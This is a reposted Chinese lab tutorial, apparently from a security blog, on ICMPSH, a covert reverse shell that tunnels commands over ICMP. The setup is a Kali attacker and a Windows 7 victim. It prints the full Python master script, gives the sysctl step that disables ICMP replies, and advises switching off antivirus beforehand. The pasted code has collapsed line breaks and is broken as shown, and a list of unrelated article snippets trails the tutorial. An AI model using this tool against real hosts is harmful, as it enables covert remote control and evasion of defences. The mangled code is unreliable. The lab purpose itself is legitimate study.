【攻防技术系列+代理转发】ICMPSH 工具

news/2024/9/24 5:31:07/文章来源:https://www.cnblogs.com/o-O-oO/p/18330445

虚拟机环境搭建:

【Kali】,192.168.10.131
【window7】,192.168.10.1

工具:

ICMPSH(基于网络层)
Wireshark

实验开始前,确保两台主机可以ping通。如果遇到环境ping不通的情况,可以借鉴以下解决方案。
重启网卡:




有来有回的过程,数据长度为74。

【kali】:

sysctl -w net.ipv4.icmp_echo_ignore_all=1   # 忽略所有的icmp请求包。1,开启 。0,关闭

关掉ping

Sysctl是设置系统参数的命令。而systemctl是变更系统服务的命令。

只是收到,不会对它做回应。

【window7】:

【 Wireshark】:


先查看Kali的python版本,这点很重要,我在复现的时候,做到后面发现了很多问题,其中最大的问题就是这个了,所以信我的。

这就是它的用法:源ip , kali(攻击者)
目的IP  win7(肉鸡)

开监听:

这次实验用的脚本都是旧的,然后经过chatgpt优化了一下,最后改名为2024_icmpsh_m.py.

点击查看代码
#!/usr/bin/env python3
#
#  icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
#  Perl by Nico Leidecker <nico@leidecker.info>)
#
#  Copyright (c) 2010, Bernardo Damele A. G. <bernardo.damele@gmail.com>
#
#
#  This program is free software: you can redistribute it and/or modify
#  it under the terms of the GNU General Public License as published by
#  the Free Software Foundation, either version 3 of the License, or
#  (at your option) any later version.
#
#  This program is distributed in the hope that it will be useful,
#  but WITHOUT ANY WARRANTY; without even the implied warranty of
#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#  GNU General Public License for more details.
#
#  You should have received a copy of the GNU General Public License
#  along with this program.  If not, see <http://www.gnu.org/licenses/>.import os
import select
import socket
import systry:from impacket import ImpactDecoderfrom impacket import ImpactPacket
except ImportError:sys.stderr.write('You need to install the Python Impacket library first. You can install it using pip:\n')sys.stderr.write('pip install impacket\n')sys.exit(255)def setNonBlocking(fd):"""Make a file descriptor non-blocking"""import fcntlflags = fcntl.fcntl(fd, fcntl.F_GETFL)flags = flags | os.O_NONBLOCKfcntl.fcntl(fd, fcntl.F_SETFL, flags)def main(src, dst):if os.name == 'nt':sys.stderr.write('icmpsh master can only run on Posix systems\n')sys.exit(255)# Make standard input a non-blocking filestdin_fd = sys.stdin.fileno()setNonBlocking(stdin_fd)# Open one socket for ICMP protocol# A special option is set on the socket so that IP headers are included# with the returned datatry:sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)except socket.error as e:sys.stderr.write('You need to run icmpsh master with administrator privileges\n')sys.exit(1)sock.setblocking(0)sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)# Create a new IP packet and set its source and destination addressesip = ImpactPacket.IP()ip.set_ip_src(src)ip.set_ip_dst(dst)# Create a new ICMP packet of type ECHO REPLYicmp = ImpactPacket.ICMP()icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)# Instantiate an IP packets decoderdecoder = ImpactDecoder.IPDecoder()while True:cmd = ''# Wait for incoming repliesif sock in select.select([sock], [], [])[0]:buff = sock.recv(4096)if len(buff) == 0:# Socket remotely closedsock.close()sys.exit(0)# Packet received; decode and display itippacket = decoder.decode(buff)icmppacket = ippacket.child()# If the packet matches, report it to the userif ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and icmppacket.get_icmp_type() == 8:# Get identifier and sequence numberident = icmppacket.get_icmp_id()seq_id = icmppacket.get_icmp_seq()data = icmppacket.get_data_as_string()if len(data) > 0:sys.stdout.write(data.decode('utf-8', errors='replace'))# Parse command from standard inputtry:cmd = sys.stdin.readline()except:passif cmd == 'exit\n':return# Set sequence number and identifiericmp.set_icmp_id(ident)icmp.set_icmp_seq(seq_id)# Include the command as data inside the ICMP packeticmp.contains(ImpactPacket.Data(cmd.encode('utf-8')))# Calculate its checksumicmp.set_icmp_cksum(0)icmp.auto_checksum = 1# Have the IP packet contain the ICMP packet (along with its payload)ip.contains(icmp)# Send it to the target hostsock.sendto(ip.get_packet(), (dst, 0))if __name__ == '__main__':if len(sys.argv) < 3:msg = 'missing mandatory options. Execute as root:\n'msg += './icmpsh-m.py <source IP address> <destination IP address>\n'sys.stderr.write(msg)sys.exit(1)main(sys.argv[1], sys.argv[2])

好了,这下没有报错了。

【win7】用法:

如果没有找到这个工具,大概率被杀软鲨了,所以的所以,记得实验开始之前就把杀软给关掉。
不要问我怎么知道的,被鲨习惯了,自然就会了。

【Kali】:

成功的收到win7的shell

这就是使用icmp反弹shell的用法了。

于是,开启了正常的通信。
并且现在的数据包变成了 60 42 ;

原先是正常的 数据,现在通过这个工具改变了数据包的大小。变成了发送系统的shell
前提条件是禁ping。

其他用法:

-d 默认是延迟200m。
-s 指定缓冲区的大小。

【Kali】:

最后记得先恢复icmp。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/773673.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

人大金仓踩坑指南

现在越来越多的项目要求-切换国产数据库系统,或达梦(性能高),或人大金仓(扩展性高,更稳定),跨平台如果上来就干,坑还是不少的,本人有幸踩个遍.1. 软件有效期,人大金仓可不便宜,不少政府采购网上都是标价10万+, 测试时候用专业版玩一玩就好到期后,可以直接下载其他版…

linux shell read 按列读取txt文本

前言全局说明一、说明 通常情况下,如果文本里有多列数据,会先读入,然后用 grep 和 awk 先拆分成行,在拆分成列。这样费时费力,遇到特殊字符行,还不好处理。 在解决别的问题时候,无意发现 read 有直接按列读取的功能。二、文件 2.1 存放两列数据的文件 文件名:list.txt…

什么是云计算?

云计算是一种服务的模式(商业模式):将信息类资源以服务的方式提供给用户使用,用户可以便捷的、按需计费的、弹性的从云端获取到信息技术的服务。 云计算技术栈层级:CPU CPU的组成: 1、运算器(算术逻辑单元) 2、控制器() 3、存储器(命令和需要运算的数据) 1、高速缓…

Linux shell mktemp -d命令生成临时文件

前言全局说明一、说明二、mktemp 命令 2.1 创建临时文件 mktemp 2.1 创建临时目录 mktemp -d三、命令行示例 mktemp ll /tmp/tmp.fvi5gFbDgr四、sh 脚本使用 4.1 创建 tmpfile=$(mktemp)4.2 删除 rm "$tmpfile"免责声明:本号所涉及内容仅供安全研究与教学使用,如出…

Linux shell mktemp命令生成临时文件

前言全局说明一、说明二、mktemp 命令 mktemp三、命令行示例 mktemp ll /tmp/tmp.fvi5gFbDgr四、sh 脚本使用 4.1 创建 tmpfile=$(mktemp)4.2 删除 rm "$tmpfile"免责声明:本号所涉及内容仅供安全研究与教学使用,如出现其他风险,后果自负。参考、来源: ChatGPT 作…

「代码随想录算法训练营」第二十三天 | 贪心算法 part1

455. 分发饼干题目链接:https://leetcode.cn/problems/assign-cookies/ 题目难度:简单 文章讲解:https://programmercarl.com/0455.分发饼干.html 视频讲解:https://www.bilibili.com/video/BV1MM411b7cq 题目状态:初次有贪心算法的总体概念,有点懵思路: 先将饼干尺寸大…

人工智能|利用人工智能自动找bug

简介 在程序员编程的过程中,产生Bug是一件稀松平常的事情,以前在编码的过程中提前找出Bug,需要通过单元测试、CodeReview等各种方式。 当今,人工智能技术的发展给软件开发和测试带来了许多机会。利用人工智能技术,可以开发出自动化的 bug 检测工具,从而提高软件质量和可靠…

Pentester Academy -Windows API Exploitation Recipes: Processes, Tokens and Memory RW 2017版本

早年为Pentester Academy(https://www.pentesteracademy.com/) ,如今为INE (https://ine.com/)002 安装VS社区版 https://visualstudio.microsoft.com/zh-hans/003 process listing api 正在运行的是什么:服务,AV,HIDS/IPS等 其他attack开始的点:进程注入,内存dump/修改,…

基于EasyTcp4Net开发一个功能较为完善的去持久化聊天软件

之前自己写了一篇介绍TCP的一些常用的功能介绍和特征,并且用代码做了示例,最终开发了一个EasyTcp4Net的TCP工具库,其最大的特色就是使用了微软提供的高性能库中的一些数据结构来处理TCP数据。 最近辞职待业在家,也没啥事做,就利用自己写的TCP通讯库基础上开发了一个示例的…

c语言其二

1.代码区:可读可执行 2.堆栈:(参数,局部变量,临时数据) 3.堆:(动态申请,大小可变)可读可写 5.常量区:只读 变量 变量的声明 全局变量 int a,b,c; //全局变量的声明 void Fun() { a = 10; //全局变量的赋值 b = 20; c = a; } 局部变量 void Fun() { …

[米联客-安路飞龙DR1-FPSOC] FPGA基础篇连载-15 SPI接收程序设计

软件版本:Anlogic -TD5.9.1-DR1_ES1.1 操作系统:WIN10 64bit 硬件平台:适用安路(Anlogic)FPGA 实验平台:米联客-MLK-L1-CZ06-DR1M90G开发板 板卡获取平台:https://milianke.tmall.com/ 登录"米联客"FPGA社区 http://www.uisrc.com 视频课程、答疑解惑! 1概述SP…

自写Json转换工具

前面写了简单的API测试工具ApiTools,返回的json有时需要做很多转换,于是开发了这个工具。 功能包括 1、json字符串转为表格,可以直观的展示,也可以复制,并支持转换后的表格点击列头进行排序,比较方便地定位数据。2、表格转为EXCEL,就是导出Excel文件,支持2003和2007格式…